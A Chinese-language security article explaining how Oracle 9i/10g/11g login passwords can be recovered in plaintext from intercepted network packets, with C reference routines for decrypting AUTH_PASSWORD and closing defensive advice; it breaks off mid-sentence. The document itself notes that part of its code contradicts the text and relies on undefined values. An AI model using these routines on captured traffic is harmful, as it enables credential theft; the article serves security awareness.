一.概要
本文主要目的,希望通過分享解密方法引起相關(guān)人士對網(wǎng)絡(luò)安全的重視。數(shù)據(jù)庫安全絕不單只數(shù)據(jù)庫本身的安全,和數(shù)據(jù)庫所處的整個環(huán)境都有密切關(guān)系。
本文所說的破解oracle9i、oracle10g、oracle11g密碼,特指通過對oracle數(shù)據(jù)庫和客戶端之間通訊包進行處理破解出oracle密碼明文,這有別于對oracle數(shù)據(jù)庫中存儲的16位密碼進行破解。截獲網(wǎng)絡(luò)信息往往比登入數(shù)據(jù)庫找到密碼密文更易操作、更難防范、隱秘性更高。
本文會說明oracle最常見的3個版本的具體算法,但是不會揭露算法內(nèi)部細節(jié)。
二.背景
隨著信息通訊的發(fā)展,網(wǎng)絡(luò)變得越來越復(fù)雜,同時也越來越不安全。如下圖所示:從客戶端到數(shù)據(jù)庫的過程中,攻擊者有越來越多的攻擊目標選擇。無論在哪一環(huán)節(jié)成功對網(wǎng)絡(luò)進行攔截或者監(jiān)聽都會獲得oracle數(shù)據(jù)庫和客戶端之間的通訊包。如果通訊包中恰好含有用戶信息,如果不進行加密處理這將是災(zāi)難性的事件。本文依oracle的3個版本為例(9i 10g11g)。分別說明核心通訊內(nèi)容加密的方法和發(fā)展趨勢。
三.oracle加密原理
當(dāng)Oracle發(fā)起接后,Oracle客戶端向oracle數(shù)據(jù)庫發(fā)送自己版本號,包含的加密算法等信息。最終2邊確定使用什么加密算法。然后進行O3logon驗證。O3logon驗證是一種查詢-響應(yīng)協(xié)議,他利用DES加密技術(shù)保護這個會話的密鑰(sesskey),保證sesskey不會在網(wǎng)絡(luò)中傳輸,所以即使有人監(jiān)聽網(wǎng)絡(luò)也不會暴露核心密鑰。其中O3logon驗證的核心是sesskey。
首先服務(wù)器通過oracle_hash(不同的版本不一樣,在9i中是用戶名+密碼,再進行sha1運算)和sesskey(一個隨機數(shù))算出服務(wù)器端的S_auth_sesskey.
客戶端拿到服務(wù)器的S_auth_sesskey后通過手上的散列值(這個散列值是用與服務(wù)器端一樣的方法計算的orcale_hash)算出數(shù)據(jù)庫所選擇的隨機sesskey。
客戶端使用sesskey 生成新的散列值,以該值為密鑰與明文password進行運算得到秘文password; 然后將秘文password發(fā)送到服務(wù)器端。
服務(wù)器端收到password;通過sesskey生成散列值密鑰,對秘文password進行解密得到密碼明文,如果與庫中存儲一致則登陸成功。(參見下圖)
四.實例
上面主要是原理的說明,下面就3個版本的數(shù)據(jù)庫進行分別說明(他們既有相同,也有不同的地方)。
oracle9i:
本文默認你已經(jīng)通過某些方式取得了一個含有Oracle登錄信息的網(wǎng)絡(luò)通訊包。省略掉前面和破密關(guān)系不大的信息在數(shù)據(jù)包中尋找到3個相關(guān)信息分別是數(shù)據(jù)庫發(fā)送給客戶端的AUTH_SESSKEY 、用戶名明文和AUTH_PASSWORD。
客戶端在得到auth_sesskey后,客戶端運算出oracle_hash ,首先對orcale_hash做SHA1運算會得到服務(wù)器端的散列值。以服務(wù)器端散列值為密鑰進行3DES解密,可以把服務(wù)器端發(fā)給客戶端的AUTH_SESSKEY轉(zhuǎn)化成本次回話的sesskey。
服務(wù)器端在得到auth_password后,把sesskey按照一定的方法做SHA1運算得到客戶端散列值。客戶端散列值和AUTH_PASSWORD通過3DES可以算出存于數(shù)據(jù)庫中的密碼密文。最后客戶端散列值和密碼密文進行運算可以還原回密碼明文。
由于9i是采用把用戶名明文和密碼明文按照順序排列在一起對整個字符串做處理生成oracle_hash。由于添加的參數(shù)是固定的所以即使不是同一臺數(shù)據(jù)庫只要加入的賬號+密碼相同則,他們的sesskey是相同的。例如用戶名aabbcc密碼ccddee和用戶名aabbcccc密碼ddee是一樣的sesskey。
參考代碼
int ORACLE_Hash (char*username, char *passwd, int passwd_len, unsigned char* oracle_hash)
{
char ToEncrypt[256];
char temp[256];
DES_cblock iv,iv2;
DES_key_schedule ks1, ks2;
int len=0;
int j,ulen,plen;
memset (ToEncrypt,0,sizeof(ToEncrypt));
strupr (username);
strupr (passwd);
ulen = strlen(username);
plen = passwd_len;
for (len=1,j=0; j<ulen; len++,j++)
{
ToEncrypt[len] = username[j];
len++;
}
for (j=0; j<plen; len++,j++)
{
ToEncrypt[len] = passwd[j];
len++;
}
len=len-1;
memset (iv,0,8);
memset (iv2,0,8);
DES_set_key((DES_cblock*) deskey_fixed, &ks1);
DES_ncbc_encrypt((unsigned char*) ToEncrypt, (unsigned char*)temp, len, &ks1, &iv, DES_ENCRYPT);
DES_set_key((DES_cblock*) &iv, &ks2);
DES_ncbc_encrypt((unsigned char*) ToEncrypt, (unsigned char*)temp, len, &ks2, &iv2, DES_ENCRYPT);
memcpy (oracle_hash,iv2,8)
return TRUE;
}
注:以上的代碼并未使用sha1,而是采用了des,與前文介紹不一致。而且其中deskey_fixed是什么?是下文的fixed31嗎?
intORACLE_TNS_Decrypt_Password_9i (unsigned char OracleHash[8], unsigned charauth_sesskey[16], unsigned char auth_password[16], char* decrypted)
{
unsigned char fixed31 [] ={0xA2,0xFB,0xE6,0xAD,0x4C,0x7D,0x1E,0x3D,0x6E,0xB0,0xB7,0x6C,0x97,0xEF,0xFF,0x84,0x44,0x71,0x02,0x84,0xAC,0xF1,0x3B,0x29,0x5C,0x0F,0x0C,0xB1,0x87,0x75,0xEF};
unsigned chartriple_des_key[64];
unsigned char sesskey[16];
unsigned char obfuscated[16];
int PassLen = 16;
ORACLE_TNS_Create_Key_SHA1(OracleHash, 8, fixed31, sizeof(fixed31), 24, triple_des_key);
ORACLE_TNS_Decrypt_3DES_CBC(auth_sesskey, 16, triple_des_key, sesskey);
ORACLE_TNS_Create_Key_SHA1(sesskey, 16, NULL, 0, 40, triple_des_key);
ORACLE_TNS_Decrypt_3DES_CBC(auth_password, 16, triple_des_key, obfuscated);
ORACLE_TNS_DeObfuscate(triple_des_key, obfuscated, &PassLen);
memcpy (decrypted, obfuscated,PassLen);
return PassLen;
}
oracle10g
10g在9i的基礎(chǔ)上進行了很大的改變。同樣還是假設(shè)我們已經(jīng)取得一個含有Oracle登錄信息的網(wǎng)絡(luò)通訊包。省略掉前面和破密關(guān)系不大的信息在數(shù)據(jù)包中尋找到4個相關(guān)信息分別是數(shù)據(jù)庫發(fā)送給客戶端的S_AUTH_SESSKEY、用戶名明文、客戶端發(fā)送給服務(wù)器的C_AUTH_SESSKEY和AUTH_PASSWORD。
首先假設(shè)取得了oracle_hash,這里不同于9i。9i雖然算了2個不同的散列值。但由于2個散列值都是通過固定數(shù)據(jù)和oracle_hash算出來的,所以難免被破解,而且效率不高。從Oracle10g開始,Oracle調(diào)整了策略,客戶端和數(shù)據(jù)庫分別以oracle_hash為基礎(chǔ)生成S_AUTH_SESSKEY和C_AUTH_SESSKEY。
客戶端對傳過來的S_AUTH_SESSKEY。做AES128解密處理拿到server_sesskey。把server_sesskey和自己的client_sesskey做md5生成combine。用combine生成AUTH_PASSWORD。
服務(wù)器端最后用combine對AUTH_PASSWORD解密。對比密碼,如果一致登陸成功。
10g在對于sesskey的處理上取得了長足的改善,但是對oracle_hash的產(chǎn)生上依舊延續(xù)了9i的方式。采用用戶名和密碼進行拼接組成最關(guān)鍵的字符串。對該字符串進行DES處理。
參考代碼
intORACLE_TNS_Decrypt_Password_10g (unsigned char OracleHash[8], unsigned charauth_sesskey[32], unsigned char auth_sesskey_cli[32], unsigned char* auth_password,int auth_password_len, char* decrypted)
{
int passlen = 0;
unsigned char aes_key_bytes[32];
unsigned char decrypted_server_sesskey[32];
unsigned char decrypted_client_sesskey[32];
unsigned char combined_sesskeys[16];
char decrypted_password[64];
memset (aes_key_bytes,0,sizeof(aes_key_bytes));
memcpy (aes_key_bytes,OracleHash,8);
ORACLE_TNS_Decrypt_AES128_CBC (aes_key_bytes, auth_sesskey, 32,decrypted_server_sesskey);
ORACLE_TNS_Decrypt_AES128_CBC (aes_key_bytes, auth_sesskey_cli,32, decrypted_client_sesskey);
ORACLE_TNS_Combine_SessKeys (&decrypted_server_sesskey[16],&decrypted_client_sesskey[16], combined_sesskeys);
ORACLE_TNS_Decrypt_AES128_CBC (combined_sesskeys, auth_password,auth_password_len, (unsigned char*) decrypted_password);
passlen = terminate_ascii_string (&decrypted_password[16],auth_password_len-16);
if (passlen!= -1)
strncpy (decrypted, &decrypted_password[16], passlen);
return passlen;
}
oracle11g
11g在10g的基礎(chǔ)上進行了一定的改變。同樣還是假設(shè)我們已經(jīng)取得一個含有Oracle登錄信息的網(wǎng)絡(luò)通訊包。省略掉前面和破密關(guān)系不大的信息在數(shù)據(jù)包中尋找到4個相關(guān)信息分別是數(shù)據(jù)庫發(fā)送給客戶端的S_AUTH_SESSKEY、AUTH_VFR_DATA、客戶端發(fā)送給服務(wù)器的C_AUTH_SESSKEY和AUTH_PASSWORD。
依舊假設(shè)取得了Oracle_hash,11g基本同于10g,客戶端和數(shù)據(jù)庫分別以O(shè)racle_hash為基礎(chǔ)生成S_AUTH_SESSKEY和C_AUTH_SESSKEY。客戶端對傳過來的S_AUTH_SESSKEY。做AES192解密處理拿到server_sesskey。把server_sesskey和自己的client_sesskey做md5生成combine。用combine生成AUTH_PASSWORD。服務(wù)器端最后用combine對AUTH_PASSWORD解密。對比密碼,如果一致登陸成功。
11g最大的變化在生成Oracle_hash上采取了和10g不同的策略。Oracle 11g為了提高Oracle_hash的安全性,多引入了AUTH_VFR_DATA這個隨機值。取消了明文用戶名。每個會話的AUTH_VFR_DATA都不同。從根本上避免9i、10g同字符串(用戶名+密碼組成的字符串)帶來的無論哪臺機器oracle_hash一致的巨大安全隱患。
參考代碼
void ORACLE_MixCase_Hash (char*passwd, int passwd_len, unsigned char salt[10], unsigned char*oracle_mixcase_hash)
{
unsigned char to_hash[256];
memcpy (to_hash, passwd, passwd_len);
memcpy (to_hash+passwd_len, salt, 10);
SHA_CTX ctx;
SHA1_Init (&ctx);
SHA1_Update (&ctx, to_hash, passwd_len+10);
SHA1_Final (oracle_mixcase_hash, &ctx);
}
五.總結(jié)
從Oracle9i到Oracle11g的變化,我們可以清晰得看出oracle調(diào)整的思路,就是更安全。從11g開始,oracle和密碼相關(guān)登陸信息全部采用了密文。有效地加大了破解難度。我們身為IT軟件從業(yè)者和安全行業(yè)從業(yè)者,應(yīng)該向Oracle學(xué)習(xí),不單單重視軟件本身的安全,同時也要對環(huán)境有一定的抵抗力。一定注意防止網(wǎng)絡(luò)監(jiān)聽,設(shè)計SID的時候盡量避免ORCL、TEST等常用名。端口號盡量不要選用1521 和1523來增加掃